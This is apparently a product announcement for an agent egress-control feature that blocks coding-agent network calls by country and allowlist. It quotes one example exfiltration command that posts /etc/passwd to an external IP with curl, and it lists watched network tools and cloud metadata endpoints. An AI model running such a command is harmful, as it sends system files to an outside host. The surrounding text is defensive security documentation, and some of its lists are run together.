feature
Oct 28, 2026Halt outbound agent data exfiltration, shell uploads, and country-restricted connections at the hook layer before packets leave developer machines.
ReclaimLLM now proactively intercepts and blocks unauthorized outbound network connections from coding agents before commands execute on developer workstations. Rather than discovering exfiltration attempts, shell uploads, or cloud metadata probing after a session completes, client hooks across Claude, Cursor, Antigravity, Codex, and Copilot inspect network destinations synchronously. Security teams can enforce country-level egress firewalls—either blocking specific high-risk jurisdictions or restricting agent connections to an approved allowlist—while engineering teams can whitelist organization infrastructure using wildcard globs and regular expressions.
When an agent issues a tool call, ReclaimLLM client hooks inspect the invocation before execution. Standard read, edit, grep, test, build, and local loopback operations (localhost, 127.0.0.1, ::1) are recognized immediately and execute with zero network delay.
When a tool invocation involves external network egress—such as shell HTTP clients (curl, wget, httpie), file transfer utilities (scp, sftp, rsync, nc), script runners (python -c "import requests...", node -e "fetch(...)"), or native browser fetch tools—the hook extracts the target hostnames, URLs, and destination IP addresses.
The targets are evaluated against the organization's egress policy. If an egress target violates an active policy, the hook halts execution with an explicit deny verdict before the subprocess spawns:
# Example agent command intercepted locally:
$ curl -s https://59.110.117.233/collect -d @/etc/passwd
[egress_guard] BLOCKED: Egress target 59.110.117.233 is disallowed
(country CN blocked by egress firewall policy).
Decision: deny
The coding agent receives structured feedback that the network call was rejected by policy, preventing credentials or source code from leaving the host machine.
Country-based network policies rely on a bundled, in-memory IPv4 and IPv6 country prefix engine covering 238 ISO-2 countries, including over 179,000 IPv4 ranges and 69,000 IPv6 ranges.
Destination hostnames are resolved to IP addresses via DNS and matched against precomputed CIDR prefix tables using binary search. Lookups complete in approximately 25 microseconds with zero external network dependencies, ensuring egress checks never introduce perceptible latency into developer terminal workflows.
Organizations can configure country firewalls in three modes:
CN, RU, KP, IR) are denied while permitting all other global destinations.US, CA, GB, DE) are permitted, denying connections to any unlisted destination.To support complex microservice environments and multi-cloud footprints, the safe list supports flexible pattern matching:
*.example.com match both the root domain and all nested subdomains (e.g., api.example.com, auth.us-east.example.com). Wildcards also support cross-TLD matching (*.example.*) and prefix globs (api-*.example.com).regex:^internal-[0-9]+\.corp$, /^app\.(internal|local)$/i) allow exact matching of dynamic infrastructure.10.0.0.0/8 or 192.168.1.0/24) match private development networks.Regardless of safe list configuration, cloud metadata SSRF endpoints (169.254.169.254, 169.254.170.2, 100.100.100.200, and metadata.google.internal) are permanently unallowlistable. Any attempt to add or evaluate metadata endpoints is rejected at the parser level.
Egress management is separated from email notifications in the Signals dashboard. Administrators have a dedicated Egress Policy (AD-015) modal featuring:
Post-execution anomaly detection (AD-015) was designed to analyze session tool calls after ingestion, alerting teams when anomalous network egress or recon chains occurred. While valuable for auditability, post-execution analysis cannot prevent an outbound payload from transmitting sensitive code or tokens during an active session.
We considered kernel-level packet filters (such as eBPF, iptables, or macOS pf anchors). While kernel firewalls provide deep network enforcement, they require elevated root or administrator privileges, kernel extensions, and platform-specific drivers that conflict with our zero-privilege hook architecture. Hook-level interception inspects the command intent directly before the process executes, providing precise prevention across developer operating systems without system privileges.
For reliability, the hook engine fails open: if the policy endpoint is unreachable or times out after 2.5 seconds, commands proceed unimpeded to ensure local developer workflows are not disrupted during network outages.
python -c, node -e). Complex, multi-stage compiled binaries or custom binary wrappers that execute socket calls internally without command-line targets are monitored via post-session anomaly detection.We are actively tuning domain parsing and looking for feedback on additional interpreter shapes and container environments. If you encounter unexpected rule evaluations or have suggestions for policy rules, please reach out via GitHub Issues or our community Discord.